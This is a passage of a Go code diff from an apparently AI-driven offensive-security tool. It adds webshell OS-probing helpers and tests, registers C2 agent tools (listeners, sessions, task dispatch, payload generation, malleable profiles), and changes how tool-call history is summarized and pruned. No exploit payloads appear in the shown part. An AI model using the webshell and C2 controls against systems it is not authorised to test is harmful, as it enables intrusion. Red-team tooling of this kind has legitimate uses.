raw, _ := io.ReadAll(resp.Body)
return decodeWebshellOutput(raw, encoding), resp.StatusCode == http.StatusOK
}
}
// persistDetectedOS 把探活结果回写到连接表;失败只记日志不阻断主流程。
// 设计上故意只触发 UPDATE,不会新建记录,因此即便 connectionID 不存在也只是悄悄放弃。
func (h *WebShellHandler) persistDetectedOS(connectionID, detected string) {
connectionID = strings.TrimSpace(connectionID)
detected = normalizeWebshellOS(detected)
if connectionID == "" || detected == "" || detected == "auto" {
return
}
conn, err := h.db.GetWebshellConnection(connectionID)
if err != nil || conn == nil {
// 不是所有调用方都能提供有效 ID(比如临时测试),这里静默返回
return
}
if normalizeWebshellOS(conn.OS) != "auto" {
// 用户已经显式选过 OS,尊重用户选择,不自动覆盖
return
}
conn.OS = detected
if err := h.db.UpdateWebshellConnection(conn); err != nil {
h.logger.Warn("webshell 探活结果持久化失败", zap.String("id", connectionID), zap.String("os", detected), zap.Error(err))
return
}
h.logger.Info("webshell auto OS 探活成功并持久化", zap.String("id", connectionID), zap.String("os", detected))
}
+68
View File
@@ -0,0 +1,68 @@
package handler
import "testing"
func TestClassifyWebshellOSProbeOutput(t *testing.T) {
cases := []struct {
name string
in string
want string
}{
{"Windows cmd 回显完整", ":OSPROBE_Windows_NT:END\r\n", "windows"},
{"Windows cmd 回显带额外空行", "\r\n:OSPROBE_Windows_NT:END\r\n", "windows"},
{"Windows 次级线索 - ver banner", "Microsoft Windows [版本 10.0.19045]\r\n", "windows"},
{"Linux sh 字面量回显", ":OSPROBE_%OS%:END\n", "linux"},
{"Linux 紧凑输出(无换行)", ":OSPROBE_%OS%:END", "linux"},
{"空输出 - 无法判定", "", ""},
{"被过滤的输出 - 无法判定", "something weird", ""},
{"仅有 OSPROBE 前缀但被截断 - 保守返回空", ":OSPROBE_:END", ""},
}
for _, c := range cases {
if got := classifyWebshellOSProbeOutput(c.in); got != c.want {
t.Errorf("case %q: got %q, want %q", c.name, got, c.want)
}
}
}
func TestProbeWebshellOSViaExec_SendsOneCommandOnly(t *testing.T) {
var calls []string
fn := func(cmd string) (string, bool) {
calls = append(calls, cmd)
return ":OSPROBE_Windows_NT:END", true
}
got := probeWebshellOSViaExec(fn)
if got != "windows" {
t.Fatalf("want windows, got %q", got)
}
if len(calls) != 1 {
t.Fatalf("probe should issue exactly one exec call, got %d: %v", len(calls), calls)
}
if calls[0] != webshellOSProbeCommand {
t.Errorf("probe command mismatch: got %q", calls[0])
}
}
func TestProbeWebshellOSViaExec_NotOkReturnsEmpty(t *testing.T) {
// HTTP 非 200 的场景:execFn 返回 ok=false,探活应放弃
fn := func(cmd string) (string, bool) { return "whatever", false }
if got := probeWebshellOSViaExec(fn); got != "" {
t.Errorf("want empty when exec not ok, got %q", got)
}
}
func TestProbeWebshellOSViaExec_NilSafeguard(t *testing.T) {
if got := probeWebshellOSViaExec(nil); got != "" {
t.Errorf("nil execFn should return empty, got %q", got)
}
}
func TestProbeWebshellOSViaExec_LinuxUname(t *testing.T) {
// 某些 webshell 对 `%OS%` 字面量也会过滤(例如安全规则),
// 但主要路径是"%OS% 字面量被原样回显"。这里覆盖标准 Linux 场景。
fn := func(cmd string) (string, bool) {
return ":OSPROBE_%OS%:END\n", true
}
if got := probeWebshellOSViaExec(fn); got != "linux" {
t.Errorf("Linux case: want linux, got %q", got)
}
}
+29 -1
View File
@@ -37,6 +37,16 @@ const (
ToolBatchTaskAdd = "batch_task_add_task"
ToolBatchTaskUpdate = "batch_task_update_task"
ToolBatchTaskRemove = "batch_task_remove_task"
// C2 工具集(合并同类项,8 个统一工具)
ToolC2Listener = "c2_listener" // 监听器管理(create/start/stop/list/get/update/delete
ToolC2Session = "c2_session" // 会话管理(list/get/set_sleep/kill/delete
ToolC2Task = "c2_task" // 任务下发(统一 task_type 参数)
ToolC2TaskManage = "c2_task_manage" // 任务管理(get_result/wait/list/cancel
ToolC2Payload = "c2_payload" // Payload 生成(oneliner/build
ToolC2Event = "c2_event" // 事件查询
ToolC2Profile = "c2_profile" // Malleable Profile 管理(list/get/create/update/delete
ToolC2File = "c2_file" // 文件管理(list/get_result
)
// IsBuiltinTool 检查工具名称是否是内置工具
@@ -66,7 +76,16 @@ func IsBuiltinTool(toolName string) bool {
ToolBatchTaskScheduleEnabled,
ToolBatchTaskAdd,
ToolBatchTaskUpdate,
ToolBatchTaskRemove:
ToolBatchTaskRemove,
// C2 工具
ToolC2Listener,
ToolC2Session,
ToolC2Task,
ToolC2TaskManage,
ToolC2Payload,
ToolC2Event,
ToolC2Profile,
ToolC2File:
return true
default:
return false
@@ -101,5 +120,14 @@ func GetAllBuiltinTools() []string {
ToolBatchTaskAdd,
ToolBatchTaskUpdate,
ToolBatchTaskRemove,
// C2 工具
ToolC2Listener,
ToolC2Session,
ToolC2Task,
ToolC2TaskManage,
ToolC2Payload,
ToolC2Event,
ToolC2Profile,
ToolC2File,
}
}
@@ -0,0 +1,33 @@
package multiagent
import (
"context"
"fmt"
"cyberstrike-ai/internal/security"
"github.com/cloudwego/eino/adk/filesystem"
"github.com/cloudwego/eino/schema"
)
// einoStreamingShellWrap 包装 Eino filesystem 使用的 StreamingShellcloudwego eino-ext local.Local)。
// 官方 execute 工具默认走 ExecuteStreaming 且不设 RunInBackendGround;末尾带 & 时子进程仍与管道相连,
// streamStdout 按行读取会在无换行输出时长时间阻塞(与 MCP 工具 exec 的独立实现不同)。
// 对「完全后台」命令自动开启 RunInBackendGround,与 local.runCmdInBackground 行为对齐。
type einoStreamingShellWrap struct {
inner filesystem.StreamingShell
}
func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
if w.inner == nil {
return nil, fmt.Errorf("einoStreamingShellWrap: inner shell is nil")
}
if input == nil {
return w.inner.ExecuteStreaming(ctx, nil)
}
req := *input
if security.IsBackgroundShellCommand(req.Command) && !req.RunInBackendGround {
req.RunInBackendGround = true
}
return w.inner.ExecuteStreaming(ctx, &req)
}
@@ -95,6 +95,9 @@ func NewPlanExecuteRoot(ctx context.Context, a *PlanExecuteRootArgs) (adk.Resuma
}
execHandlers = append(execHandlers, sumMw)
}
// 5. 孤儿 tool 消息兜底:必须挂在所有改写历史中间件(summarization/reduction/skill)之后、
// telemetry 之前,保证送入 ChatModel 的消息序列 tool_call ↔ tool_result 配对完整。
execHandlers = append(execHandlers, newOrphanToolPrunerMiddleware(a.Logger, "plan_execute_executor"))
if teleMw := newEinoModelInputTelemetryMiddleware(a.Logger, a.ModelName, a.ConversationID, "plan_execute_executor"); teleMw != nil {
execHandlers = append(execHandlers, teleMw)
}
+1 -1
View File
@@ -81,6 +81,6 @@ func subAgentFilesystemMiddleware(ctx context.Context, loc *localbk.Local) (adk.
}
return filesystem.New(ctx, &filesystem.MiddlewareConfig{
Backend: loc,
StreamingShell: loc,
StreamingShell: &einoStreamingShellWrap{inner: loc},
})
}
+120 -56
View File
@@ -130,6 +130,14 @@ func newEinoSummarizationMiddleware(
}
// summarizeFinalizeWithRecentAssistantToolTrail 在摘要消息后保留最近 assistant/tool 轨迹,避免压缩后执行链断裂。
//
// 关键不变量:tool_call ↔ tool_result 的 pair 必须整体保留或整体丢弃。
// 把消息切成 round(回合)为原子单位:
// - user(...) 单条为一个 round
// - assistant(tool_calls=[...]) 及其后连续的 role=tool 消息合成一个 round
// - 其它 assistant(reply, 无 tool_calls) 单条为一个 round。
//
// 倒序挑 round(预算不够即放弃该 round),保证 tool 消息不会跨 round 被孤立。
func summarizeFinalizeWithRecentAssistantToolTrail(
ctx context.Context,
originalMessages []adk.Message,
@@ -157,80 +165,136 @@ func summarizeFinalizeWithRecentAssistantToolTrail(
return out, nil
}
selectedReverse := make([]adk.Message, 0, 8)
seen := make(map[adk.Message]struct{})
totalTokens := 0
assistantToolKept := 0
const minAssistantToolTrail = 4
rounds := splitMessagesIntoRounds(nonSystem)
if len(rounds) == 0 {
out := make([]adk.Message, 0, len(systemMsgs)+1)
out = append(out, systemMsgs...)
out = append(out, summary)
return out, nil
}
tryKeep := func(msg adk.Message) (bool, error) {
if msg == nil {
return false, nil
// 目标:至少保留 minRounds 个 round 的执行轨迹;在预算允许时尽量多保留。
// 优先确保最后一个 round(通常是最新的 tool 往返或 assistant 回复)存在。
const minRounds = 2
selectedRoundsReverse := make([]messageRound, 0, 8)
selectedCount := 0
totalTokens := 0
tokensOfRound := func(r messageRound) (int, error) {
if len(r.messages) == 0 {
return 0, nil
}
if _, ok := seen[msg]; ok {
return false, nil
}
n, err := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: []adk.Message{msg}})
n, err := tokenCounter(ctx, &summarization.TokenCounterInput{Messages: r.messages})
if err != nil {
return false, err
return 0, err
}
if n <= 0 {
n = 1
n = len(r.messages)
}
return n, nil
}
for i := len(rounds) - 1; i >= 0; i-- {
r := rounds[i]
n, err := tokensOfRound(r)
if err != nil {
return nil, err
}
// 预算不够:已经保留了足够 round 则停,否则跳过该 round 继续往前找
// (避免一个超大 round 挤占全部预算,至少保证有轨迹)。
if totalTokens+n > recentTrailTokenBudget {
return false, nil
if selectedCount >= minRounds {
break
}
continue
}
totalTokens += n
selectedReverse = append(selectedReverse, msg)
seen[msg] = struct{}{}
return true, nil
selectedRoundsReverse = append(selectedRoundsReverse, r)
selectedCount++
}
// 优先保留最近 assistant/tool,确保执行轨迹可续跑。
for i := len(nonSystem) - 1; i >= 0; i-- {
msg := nonSystem[i]
if msg.Role != schema.Assistant && msg.Role != schema.Tool {
continue
}
ok, err := tryKeep(msg)
if err != nil {
return nil, err
}
if ok {
assistantToolKept++
}
if assistantToolKept >= minAssistantToolTrail {
break
}
// 还原时间顺序
selectedMsgs := make([]adk.Message, 0, 8)
for i := len(selectedRoundsReverse) - 1; i >= 0; i-- {
selectedMsgs = append(selectedMsgs, selectedRoundsReverse[i].messages...)
}
// 在预算内回填更多最近消息,保持短链路上下文。
for i := len(nonSystem) - 1; i >= 0; i-- {
_, exists := seen[nonSystem[i]]
if exists {
continue
}
ok, err := tryKeep(nonSystem[i])
if err != nil {
return nil, err
}
if !ok {
break
}
}
selected := make([]adk.Message, 0, len(selectedReverse))
for i := len(selectedReverse) - 1; i >= 0; i-- {
selected = append(selected, selectedReverse[i])
}
out := make([]adk.Message, 0, len(systemMsgs)+1+len(selected))
out := make([]adk.Message, 0, len(systemMsgs)+1+len(selectedMsgs))
out = append(out, systemMsgs...)
out = append(out, summary)
out = append(out, selected...)
out = append(out, selectedMsgs...)
return out, nil
}
// messageRound 表示一个"不可分割"的消息回合。
// - 对 assistant(tool_calls) + 随后若干 tool 消息的组合,round 内全部 call_id 成对完整;
// - 对独立的 user / assistant(reply) 消息,round 仅包含该条消息。
type messageRound struct {
messages []adk.Message
}
// splitMessagesIntoRounds 将非 system 消息切分为若干 round,保证:
// - 每个 assistant(tool_calls) 与其对应的 role=tool 响应消息在同一个 round
// - 孤立(无对应 assistant(tool_calls))的 role=tool 消息不会单独成为 round
// 而是被丢弃(这些消息在 pair 完整性层面已属孤儿,保留反而会触发 LLM 400)。
func splitMessagesIntoRounds(msgs []adk.Message) []messageRound {
if len(msgs) == 0 {
return nil
}
rounds := make([]messageRound, 0, len(msgs))
i := 0
for i < len(msgs) {
msg := msgs[i]
if msg == nil {
i++
continue
}
switch {
case msg.Role == schema.Assistant && len(msg.ToolCalls) > 0:
// 收集该 assistant 提供的 call_id 集合。
provided := make(map[string]struct{}, len(msg.ToolCalls))
for _, tc := range msg.ToolCalls {
if tc.ID != "" {
provided[tc.ID] = struct{}{}
}
}
round := messageRound{messages: []adk.Message{msg}}
j := i + 1
for j < len(msgs) {
next := msgs[j]
if next == nil {
j++
continue
}
if next.Role != schema.Tool {
break
}
if next.ToolCallID != "" {
if _, ok := provided[next.ToolCallID]; !ok {
// 下一条 tool 不属于当前 assistant,认为当前 round 结束。
break
}
}
round.messages = append(round.messages, next)
j++
}
rounds = append(rounds, round)
i = j
case msg.Role == schema.Tool:
// 孤儿 tool 消息:既不跟随在一个 assistant(tool_calls) 后,
// 说明它对应的 assistant 已被上游裁剪;直接丢弃,下一步到 orphan pruner
// 兜底也不会出错,但在 round 切分这里就剔除更干净。
i++
default:
// user / assistant(reply) / 其它:单条成 round。
rounds = append(rounds, messageRound{messages: []adk.Message{msg}})
i++
}
}
return rounds
}
func einoSummarizationTokenCounter(openAIModel string) summarization.TokenCounterFunc {
tc := agent.NewTikTokenCounter()
return func(ctx context.Context, input *summarization.TokenCounterInput) (int, error) {
+345
View File
@@ -0,0 +1,345 @@
package multiagent
import (
"context"
"testing"
"github.com/cloudwego/eino/adk"
"github.com/cloudwego/eino/adk/middlewares/summarization"
"github.com/cloudwego/eino/schema"
)
// fixedTokenCounter 让 tool 消息按 tokensPerToolMessage 计,其它消息按 1 计。
// 用于验证 tool-round 超预算时整体被跳过的分支。
func fixedTokenCounter(tokensPerToolMessage int) summarization.TokenCounterFunc {
return func(_ context.Context, in *summarization.TokenCounterInput) (int, error) {
total := 0
for _, msg := range in.Messages {
if msg == nil {
continue
}
switch msg.Role {
case schema.Tool:
total += tokensPerToolMessage
default:
total++
}
}
return total, nil
}
}
// variableTokenCounter 让 tool 消息按 len(Content) 计(可区分不同大小的 tool 结果),
// 其它消息按 1 计;assistant 附加 len(ToolCalls) token 近似 tool_calls schema 开销。
func variableTokenCounter() summarization.TokenCounterFunc {
return func(_ context.Context, in *summarization.TokenCounterInput) (int, error) {
total := 0
for _, msg := range in.Messages {
if msg == nil {
continue
}
if msg.Role == schema.Tool {
total += len(msg.Content)
continue
}
total++
total += len(msg.ToolCalls)
}
return total, nil
}
}
func TestSplitMessagesIntoRounds_Complex(t *testing.T) {
msgs := []adk.Message{
schema.UserMessage("q1"),
assistantToolCallsMsg("", "c1", "c2"),
schema.ToolMessage("r1", "c1"),
schema.ToolMessage("r2", "c2"),
schema.AssistantMessage("reply1", nil),
schema.UserMessage("q2"),
assistantToolCallsMsg("", "c3"),
schema.ToolMessage("r3", "c3"),
}
rounds := splitMessagesIntoRounds(msgs)
// 5 rounds: user(q1) | assistant(tc:c1,c2)+tool*2 | assistant(reply1) | user(q2) | assistant(tc:c3)+tool(c3)
if len(rounds) != 5 {
t.Fatalf("want 5 rounds, got %d", len(rounds))
}
// round 1 应为 tool-round,必须成对
r1 := rounds[1]
if len(r1.messages) != 3 {
t.Fatalf("rounds[1] size: want 3, got %d", len(r1.messages))
}
if r1.messages[0].Role != schema.Assistant || len(r1.messages[0].ToolCalls) != 2 {
t.Fatalf("rounds[1][0] must be assistant(tc=2)")
}
for i := 1; i < 3; i++ {
if r1.messages[i].Role != schema.Tool {
t.Fatalf("rounds[1][%d] must be tool, got %s", i, r1.messages[i].Role)
}
}
// 最后一个 round 成对
rLast := rounds[len(rounds)-1]
if len(rLast.messages) != 2 {
t.Fatalf("rounds[last] size: want 2, got %d", len(rLast.messages))
}
if rLast.messages[0].Role != schema.Assistant || rLast.messages[1].Role != schema.Tool {
t.Fatalf("last round must be assistant(tc)+tool(c3)")
}
}
func TestSplitMessagesIntoRounds_DropsOrphanTool(t *testing.T) {
// 起点直接是 tool 消息(孤儿)—— 应被丢弃,不独立成 round。
msgs := []adk.Message{
schema.ToolMessage("orphan", "c_old"),
schema.UserMessage("continue"),
assistantToolCallsMsg("", "c_new"),
schema.ToolMessage("r_new", "c_new"),
}
rounds := splitMessagesIntoRounds(msgs)
// user(continue) | assistant(tc:c_new)+tool(c_new) → 2 rounds
if len(rounds) != 2 {
t.Fatalf("want 2 rounds after dropping orphan, got %d", len(rounds))
}
for _, r := range rounds {
for _, m := range r.messages {
if m.Role == schema.Tool && m.ToolCallID == "c_old" {
t.Fatalf("orphan tool c_old must not appear in any round")
}
}
}
}
func TestSplitMessagesIntoRounds_ToolBelongsToCurrentAssistantOnly(t *testing.T) {
// 两个相邻 assistant(tc),第二个的 tool 不应被归到第一个 assistant。
msgs := []adk.Message{
assistantToolCallsMsg("", "c1"),
schema.ToolMessage("r1", "c1"),
assistantToolCallsMsg("", "c2"),
schema.ToolMessage("r2", "c2"),
}
rounds := splitMessagesIntoRounds(msgs)
if len(rounds) != 2 {
t.Fatalf("want 2 rounds, got %d", len(rounds))
}
if len(rounds[0].messages) != 2 || rounds[0].messages[0].ToolCalls[0].ID != "c1" {
t.Fatalf("round[0] wrong: %+v", rounds[0].messages)
}
if len(rounds[1].messages) != 2 || rounds[1].messages[0].ToolCalls[0].ID != "c2" {
t.Fatalf("round[1] wrong: %+v", rounds[1].messages)
}
}
func TestSplitMessagesIntoRounds_ToolBelongsToWrongAssistant(t *testing.T) {
// assistant(tc:c1) 后面跟一个 tool_call_id=c999 的 tool 消息(本不属它)。
// 切分规则:该 tool 不应拼入第一个 round(配对不完整),round 在此结束。
// 而 c999 又没有对应 assistant,应被当孤儿丢弃。
msgs := []adk.Message{
assistantToolCallsMsg("", "c1"),
schema.ToolMessage("wrong", "c999"),
schema.UserMessage("hi"),
}
rounds := splitMessagesIntoRounds(msgs)
// assistant(tc:c1) 没有对应 tool(c1),但不是孤儿(patchtoolcalls 会兜底补);
// 它独立成 round 允许上游后处理。user(hi) 独立成 round。共 2 rounds。
if len(rounds) != 2 {
t.Fatalf("want 2 rounds, got %d: %+v", len(rounds), rounds)
}
for _, r := range rounds {
for _, m := range r.messages {
if m.Role == schema.Tool && m.ToolCallID == "c999" {
t.Fatalf("wrong-owner tool must be dropped as orphan")
}
}
}
}
func TestSummarizeFinalize_KeepsToolRoundIntact(t *testing.T) {
// 关键回归测试:一个 tool-round 整体被保留,而不是只保留 tool 消息。
sys := schema.SystemMessage("sys")
summary := schema.AssistantMessage("summary_content", nil)
msgs := []adk.Message{
sys,
schema.UserMessage("q1"),
schema.AssistantMessage("reply_before_tc", nil), // 填料,占预算
assistantToolCallsMsg("", "c1"),
schema.ToolMessage("r1", "c1"),
}
// token 预算:2 条消息(1 assistant + 1 tool)恰好够用。
// 若按条数保留,可能先吃 tool(c1) 再吃 assistant(reply) 落入 budgetassistant(tc:c1) 被挤掉,导致孤儿。
// 按 round 保留时,整个 tool-round 为原子,要么保留 2 条都在,要么都不在。
out, err := summarizeFinalizeWithRecentAssistantToolTrail(
context.Background(),
msgs,
summary,
fixedTokenCounter(1),
2, // 预算:2 tokens
)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
// 必须包含 system + summary
if len(out) < 2 {
t.Fatalf("output too short: %d", len(out))
}
if out[0] != sys {
t.Fatalf("first message must be system")
}
if out[1] != summary {
t.Fatalf("second message must be summary")
}
// 关键不变量:每个被保留的 tool 消息,必须能在输出中找到提供其 ToolCallID 的 assistant(tc)。
assertNoOrphanTool(t, out)
}
func TestSummarizeFinalize_SkipsOversizedToolRoundButKeepsSmallerRound(t *testing.T) {
// 构造两个大小差异显著的 tool-round:
// c_big round 的 tool 结果 content="aaaaaaaaaa"10 bytes),round token ≈ 2 (assistant+tc) + 10 = 12
// c_ok round 的 tool 结果 content="ok"2 bytes),round token ≈ 2 + 2 = 4
// 配上 budget=8,使得:
// - 最新的 c_ok round4)能放下;
// - 进一步的中间 roundassistant reply + user)也能放下;
// - 更早的 c_big round12)放不下会被跳过(continue),而非 break。
sys := schema.SystemMessage("sys")
summary := schema.AssistantMessage("summary_content", nil)
msgs := []adk.Message{
sys,
schema.UserMessage("q1"),
assistantToolCallsMsg("", "c_big"),
schema.ToolMessage("aaaaaaaaaa", "c_big"),
schema.AssistantMessage("s", nil),
schema.UserMessage("q2"),
assistantToolCallsMsg("", "c_ok"),
schema.ToolMessage("ok", "c_ok"),
}
out, err := summarizeFinalizeWithRecentAssistantToolTrail(
context.Background(),
msgs,
summary,
variableTokenCounter(),
8,
)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
assertNoOrphanTool(t, out)
// c_big 整个 round 必须被丢弃(tool 和 assistant 都不能出现)
for _, m := range out {
if m == nil {
continue
}
if m.Role == schema.Tool && m.ToolCallID == "c_big" {
t.Fatal("oversized tool round must be skipped: tool(c_big) leaked")
}
if m.Role == schema.Assistant {
for _, tc := range m.ToolCalls {
if tc.ID == "c_big" {
t.Fatal("oversized tool round must be skipped: assistant(tc:c_big) leaked")
}
}
}
}
// 最近 round (c_ok) 作为一个原子单位必须整体保留。
foundOKTool, foundOKAsst := false, false
for _, m := range out {
if m == nil {
continue
}
if m.Role == schema.Tool && m.ToolCallID == "c_ok" {
foundOKTool = true
}
if m.Role == schema.Assistant {
for _, tc := range m.ToolCalls {
if tc.ID == "c_ok" {
foundOKAsst = true
}
}
}
}
if !foundOKTool || !foundOKAsst {
t.Fatalf("recent tool-round (c_ok) must be retained as an atomic pair: assistantKept=%v toolKept=%v", foundOKAsst, foundOKTool)
}
}
func TestSummarizeFinalize_BudgetZeroFallsBackToSummaryOnly(t *testing.T) {
sys := schema.SystemMessage("sys")
summary := schema.AssistantMessage("summary", nil)
msgs := []adk.Message{
sys,
assistantToolCallsMsg("", "c1"),
schema.ToolMessage("r1", "c1"),
}
out, err := summarizeFinalizeWithRecentAssistantToolTrail(
context.Background(),
msgs,
summary,
fixedTokenCounter(1),
0,
)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(out) != 2 || out[0] != sys || out[1] != summary {
t.Fatalf("budget=0 must yield [system, summary] only, got %+v", out)
}
}
func TestSummarizeFinalize_PreservesAllSystemMessages(t *testing.T) {
sys1 := schema.SystemMessage("sys1")
sys2 := schema.SystemMessage("sys2")
summary := schema.AssistantMessage("s", nil)
msgs := []adk.Message{
sys1,
schema.UserMessage("q"),
sys2, // 非典型位置,但应当被 system group 捕获
}
out, err := summarizeFinalizeWithRecentAssistantToolTrail(
context.Background(),
msgs,
summary,
fixedTokenCounter(1),
100,
)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
systemCount := 0
for _, m := range out {
if m != nil && m.Role == schema.System {
systemCount++
}
}
if systemCount != 2 {
t.Fatalf("want 2 system messages retained, got %d", systemCount)
}
}
// assertNoOrphanTool 断言消息列表里的每个 role=tool 消息都能在更前面找到一个
// assistant(tool_calls) 提供相同 ID,否则说明产生了孤儿(触发 LLM 400 的根因)。
func assertNoOrphanTool(t *testing.T, msgs []adk.Message) {
t.Helper()
provided := make(map[string]struct{})
for _, m := range msgs {
if m == nil {
continue
}
if m.Role == schema.Assistant {
for _, tc := range m.ToolCalls {
if tc.ID != "" {
provided[tc.ID] = struct{}{}
}
}
}
if m.Role == schema.Tool && m.ToolCallID != "" {
if _, ok := provided[m.ToolCallID]; !ok {
t.Fatalf("orphan tool message found: ToolCallID=%q has no preceding assistant(tool_calls)", m.ToolCallID)
}
}
}
}
@@ -0,0 +1,124 @@
package multiagent
import (
"context"
"github.com/cloudwego/eino/adk"
"github.com/cloudwego/eino/schema"
"go.uber.org/zap"
)
// orphanToolPrunerMiddleware 在每次 ChatModel 调用前剪掉没有对应 assistant(tool_calls) 的孤儿 tool 消息。
//
// 背景:
// - eino 的 summarization 中间件在触发摘要后,默认把所有非 system 消息替换为 1 条 summary 消息;
// 本项目通过自定义 FinalizesummarizeFinalizeWithRecentAssistantToolTrail)在 summary 后回填
// 最近的 assistant/tool 轨迹。若 Finalize 的保留策略按"条数"截断而未按 round 对齐,可能保留
// 了 tool 结果却把对应的 assistant(tool_calls) 落在了 summary 前面,形成孤儿 tool 消息。
// - 同样,reduction / tool_search / 自定义断点恢复等任一改写历史的逻辑,都可能破坏
// tool_call ↔ tool_result 配对。
//
// 一旦孤儿 tool 消息进入 ChatModelOpenAI 兼容 API(含 DashScope / 各类中转)会返回
// 400 "No tool call found for function call output with call_id ...",并被 Eino 包装成
// [NodeRunError] 抛出,终止整轮编排。
//
// 设计取舍:
// - 官方 patchtoolcalls 中间件只补反向(assistant(tc) 缺 tool_result),不处理孤儿 tool。
// 本中间件与之互补,专职兜底正向孤儿。
// - 仅剔除消息,不向历史里注入虚构 assistant(tc):虚构 tool_calls 反而会误导模型后续推理。
// 摘要已覆盖被裁剪段的语义,丢一条原始 tool 结果对对话连贯性影响最小。
// - 位置建议:挂在所有可能改写历史的中间件(summarization / reduction / skill / plantask /
// tool_search)之后,靠近 ChatModel 调用的那一端。
type orphanToolPrunerMiddleware struct {
adk.BaseChatModelAgentMiddleware
logger *zap.Logger
phase string
}
// newOrphanToolPrunerMiddleware 构造中间件。phase 仅用于日志区分 deep / supervisor /
// plan_execute_executor / sub_agent,不影响运行时行为。
func newOrphanToolPrunerMiddleware(logger *zap.Logger, phase string) adk.ChatModelAgentMiddleware {
return &orphanToolPrunerMiddleware{
logger: logger,
phase: phase,
}
}
// BeforeModelRewriteState 扫描消息列表,收集 assistant.tool_calls 提供的 call_id 集合,
// 再剔除掉 ToolCallID 不在该集合中的 role=tool 消息。
//
// 复杂度:O(N)。当未发现孤儿时不产生任何分配,state 原样返回以便上游快路径。
func (m *orphanToolPrunerMiddleware) BeforeModelRewriteState(
ctx context.Context,
state *adk.ChatModelAgentState,
mc *adk.ModelContext,
) (context.Context, *adk.ChatModelAgentState, error) {
_ = mc
if m == nil || state == nil || len(state.Messages) == 0 {
return ctx, state, nil
}
// 第一遍:收集所有已提供的 tool_call_id;同时快路径判定是否真的存在孤儿。
provided := make(map[string]struct{}, 8)
for _, msg := range state.Messages {
if msg == nil {
continue
}
if msg.Role == schema.Assistant {
for _, tc := range msg.ToolCalls {
if tc.ID != "" {
provided[tc.ID] = struct{}{}
}
}
}
}
hasOrphan := false
for _, msg := range state.Messages {
if msg == nil {
continue
}
if msg.Role == schema.Tool && msg.ToolCallID != "" {
if _, ok := provided[msg.ToolCallID]; !ok {
hasOrphan = true
break
}
}
}
if !hasOrphan {
return ctx, state, nil
}
// 第二遍:生成剪除孤儿后的新消息列表。
pruned := make([]adk.Message, 0, len(state.Messages))
droppedIDs := make([]string, 0, 2)
droppedNames := make([]string, 0, 2)
for _, msg := range state.Messages {
if msg == nil {
continue
}
if msg.Role == schema.Tool && msg.ToolCallID != "" {
if _, ok := provided[msg.ToolCallID]; !ok {
droppedIDs = append(droppedIDs, msg.ToolCallID)
droppedNames = append(droppedNames, msg.ToolName)
continue
}
}
pruned = append(pruned, msg)
}
if m.logger != nil {
m.logger.Warn("eino orphan tool messages pruned before model call",
zap.String("phase", m.phase),
zap.Int("dropped_count", len(droppedIDs)),
zap.Strings("dropped_tool_call_ids", droppedIDs),
zap.Strings("dropped_tool_names", droppedNames),
zap.Int("messages_before", len(state.Messages)),
zap.Int("messages_after", len(pruned)),
)
}
ns := *state
ns.Messages = pruned
return ctx, &ns, nil
}
@@ -0,0 +1,131 @@
package multiagent
import (
"context"
"testing"
"github.com/cloudwego/eino/adk"
"github.com/cloudwego/eino/schema"
)
func assistantToolCallsMsg(content string, callIDs ...string) *schema.Message {
tcs := make([]schema.ToolCall, 0, len(callIDs))
for _, id := range callIDs {
tcs = append(tcs, schema.ToolCall{
ID: id,
Type: "function",
Function: schema.FunctionCall{
Name: "stub_tool",
Arguments: `{}`,
},
})
}
return schema.AssistantMessage(content, tcs)
}
func TestOrphanToolPruner_NoOpWhenPaired(t *testing.T) {
mw := newOrphanToolPrunerMiddleware(nil, "test").(*orphanToolPrunerMiddleware)
msgs := []adk.Message{
schema.SystemMessage("sys"),
schema.UserMessage("hi"),
assistantToolCallsMsg("", "c1", "c2"),
schema.ToolMessage("r1", "c1"),
schema.ToolMessage("r2", "c2"),
schema.AssistantMessage("done", nil),
}
in := &adk.ChatModelAgentState{Messages: msgs}
_, out, err := mw.BeforeModelRewriteState(context.Background(), in, &adk.ModelContext{})
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if out == nil {
t.Fatal("expected non-nil state")
}
if len(out.Messages) != len(msgs) {
t.Fatalf("expected %d messages kept, got %d", len(msgs), len(out.Messages))
}
// 快路径:未发现孤儿时必须原地返回 state,不分配新切片。
if &out.Messages[0] != &msgs[0] {
t.Fatalf("expected state to be returned as-is (same backing slice) when no orphan present")
}
}
func TestOrphanToolPruner_DropsOrphanToolMessages(t *testing.T) {
mw := newOrphanToolPrunerMiddleware(nil, "test").(*orphanToolPrunerMiddleware)
msgs := []adk.Message{
schema.SystemMessage("sys"),
// 摘要前的 assistant(tc: c_old) 已被裁剪,但对应的 tool 结果漏保留了。
schema.ToolMessage("orphan result", "c_old"),
schema.UserMessage("continue"),
assistantToolCallsMsg("", "c_new"),
schema.ToolMessage("r_new", "c_new"),
}
in := &adk.ChatModelAgentState{Messages: msgs}
_, out, err := mw.BeforeModelRewriteState(context.Background(), in, &adk.ModelContext{})
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if out == nil {
t.Fatal("expected non-nil state")
}
if len(out.Messages) != len(msgs)-1 {
t.Fatalf("expected %d messages after pruning, got %d", len(msgs)-1, len(out.Messages))
}
for _, m := range out.Messages {
if m != nil && m.Role == schema.Tool && m.ToolCallID == "c_old" {
t.Fatalf("orphan tool message with ToolCallID=c_old should have been dropped")
}
}
// 合法的 tool(c_new) 必须保留。
foundNew := false
for _, m := range out.Messages {
if m != nil && m.Role == schema.Tool && m.ToolCallID == "c_new" {
foundNew = true
break
}
}
if !foundNew {
t.Fatal("paired tool message (c_new) must be retained")
}
}
func TestOrphanToolPruner_EmptyToolCallIDIsIgnored(t *testing.T) {
// 空 ToolCallID 的 tool 消息在真实场景中极罕见,但不应当被误判为孤儿。
// 语义上把它当作"无法校验,保留",避免误删。
mw := newOrphanToolPrunerMiddleware(nil, "test").(*orphanToolPrunerMiddleware)
odd := schema.ToolMessage("no_id", "")
msgs := []adk.Message{
schema.UserMessage("hi"),
odd,
schema.AssistantMessage("ok", nil),
}
in := &adk.ChatModelAgentState{Messages: msgs}
_, out, err := mw.BeforeModelRewriteState(context.Background(), in, &adk.ModelContext{})
if err != nil {
